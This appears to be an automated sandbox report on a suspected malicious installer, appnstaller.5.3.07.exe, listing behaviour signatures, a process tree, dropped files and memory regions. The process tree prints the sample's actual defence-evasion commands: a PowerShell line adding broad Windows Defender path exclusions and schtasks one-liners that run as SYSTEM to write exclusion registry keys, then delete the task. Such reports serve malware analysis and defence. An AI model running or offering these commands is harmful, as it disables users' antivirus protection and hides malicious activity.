Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/10/2026, 21:57

General

  • Target
    appnstaller.5.3.07.exe
  • Size 31.8MB
  • Sample261008-1vdrbavtev
  • SHA256 faeb345da97b17812feb979b9c0fc2d28f7cb15acd04c7fd79706524ad66f27a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appnstaller.5.3.07.exe
    "C:\Users\Admin\AppData\Local\Temp\appnstaller.5.3.07.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4264
  • C:\Users\Public\YzOECr\VpxDWP.exe
    "C:\Users\Public\YzOECr\VpxDWP.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4912
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\YzOECr\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3152
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\YzOECr\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3320
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1176
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:668
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4984
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5720
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1128
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1216
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2944
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1124
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4536
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:6140
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4468
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5184
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1340
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4132
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3388
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5256
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5456
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4356
                      • C:\Users\Public\YzOECr\VpxDWP.exe
                        "C:\Users\Public\YzOECr\VpxDWP.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3556
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\YzOECr" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:3460
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\YzOECr" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:5960
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5128
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:2912
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:5604

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                  • Size 1KB
                                  • SHA256 16c16eb5a4e63ceb340a9e2080a03e46f908964e5c3ecc5afae05eb5f0f0a1ba
                                  • MD5 SHA1 SHA512 TLSH

                                  B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                  • Size 1KB
                                  • SHA256 e481a9ab770622a4dfa883b03de581b99d3b0e640eac63b9c3d00844ac5d0f61
                                  • MD5 SHA1 SHA512 TLSH

                                  0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                  • Size 512B
                                  • SHA256 7e11d53e194844161e3f64ae22b81a1fcd7fc3997ff54c924595b2f2866549ee
                                  • MD5 SHA1 SHA512 TLSH

                                  B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                  • Size 506B
                                  • SHA256 cfab76ee8d8438b3d12cefb1a5b1e986bf30ecac42ae542899f8cacc17043732
                                  • MD5 SHA1 SHA512 TLSH

                                  __PSScriptPolicyTest_4qlknyu1.ewm.psm1

                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4qlknyu1.ewm.psm1
                                  • Size 60B
                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                  • MD5 SHA1 SHA512 TLSH

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\YzOECr\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 173b35daca650db4894a33b185af013bc2039c38e6d9b86c0fbc4ca001027021
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  VpxDWP.exe

                                  • Path C:\Users\Public\YzOECr\VpxDWP.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\YzOECr\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 28be3a8ca22d95bfc693834f734bab0b7c19dd421595b69b9730e55f2ad49478
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\YzOECr\msadox.tb
                                  • Size 8KB
                                  • SHA256 3689fb5753b1f1c320866a8dcb5ad3527f086bb86e192258567564413704a484
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/1944-560-0x000002283B830000-0x000002283B8BA000-memory.dmp

                                  memory/1944-566-0x000002283C260000-0x000002283CAE7000-memory.dmp

                                  memory/1944-530-0x00007FF89C0D0000-0x00007FF89C0D2000-memory.dmp

                                  memory/1944-536-0x000002283C260000-0x000002283CAE7000-memory.dmp

                                  memory/1944-538-0x00007FF89C0E0000-0x00007FF89C0E2000-memory.dmp

                                  memory/1944-543-0x000002283C260000-0x000002283CAE7000-memory.dmp

                                  memory/1944-544-0x000002283C260000-0x000002283CAE7000-memory.dmp

                                  memory/1944-545-0x000002283C260000-0x000002283CAE7000-memory.dmp

                                  memory/1944-546-0x000002283C260000-0x000002283CAE7000-memory.dmp

                                  memory/1944-539-0x000002283C260000-0x000002283CAE7000-memory.dmp

                                  memory/1944-550-0x000002283C260000-0x000002283CAE7000-memory.dmp

                                  memory/1944-556-0x000002283B730000-0x000002283B77E000-memory.dmp

                                  memory/1944-561-0x000002283B830000-0x000002283B8BA000-memory.dmp

                                  memory/1944-531-0x00007FF879650000-0x00007FF879B6E000-memory.dmp

                                  memory/1944-559-0x000002283B830000-0x000002283B8BA000-memory.dmp

                                  memory/1944-563-0x000002283C260000-0x000002283CAE7000-memory.dmp

                                  memory/1944-558-0x000002283B830000-0x000002283B8BA000-memory.dmp

                                  memory/1944-565-0x000002283C260000-0x000002283CAE7000-memory.dmp

                                  memory/3556-590-0x0000020114260000-0x0000020114AE7000-memory.dmp

                                  memory/3556-589-0x0000020114260000-0x0000020114AE7000-memory.dmp

                                  memory/3556-584-0x0000020114260000-0x0000020114AE7000-memory.dmp

                                  memory/3556-587-0x0000020114260000-0x0000020114AE7000-memory.dmp

                                  memory/3556-591-0x00007FF89C0D0000-0x00007FF89C0D2000-memory.dmp

                                  memory/3556-577-0x00007FF879650000-0x00007FF879B6E000-memory.dmp

                                  memory/3556-580-0x0000020114260000-0x0000020114AE7000-memory.dmp

                                  memory/3556-582-0x00007FF89C0E0000-0x00007FF89C0E2000-memory.dmp

                                  memory/3556-588-0x0000020114260000-0x0000020114AE7000-memory.dmp

                                  memory/4264-524-0x0000000000490000-0x000000000049E000-memory.dmp

                                  memory/4264-0-0x0000000000490000-0x000000000049E000-memory.dmp

                                  memory/4264-2-0x00000000004A0000-0x00000000004AC000-memory.dmp

                                  memory/4264-504-0x00007FF893760000-0x00007FF893772000-memory.dmp

                                  memory/4264-525-0x00007FF893760000-0x00007FF893772000-memory.dmp

                                  memory/4264-1-0x0000000000490000-0x000000000049E000-memory.dmp

                                  memory/4912-601-0x000002107DC00000-0x000002107DC22000-memory.dmp

                                  memory/4912-604-0x000002107DC50000-0x000002107DC6E000-memory.dmp

                                  memory/4912-605-0x000002107DE00000-0x000002107DEB2000-memory.dmp

                                  memory/4912-606-0x000002107DC70000-0x000002107DC7A000-memory.dmp